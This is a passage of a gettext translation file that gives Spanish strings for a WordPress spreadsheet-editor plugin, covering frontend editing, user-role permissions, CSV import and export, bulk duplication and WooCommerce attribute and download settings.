frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: 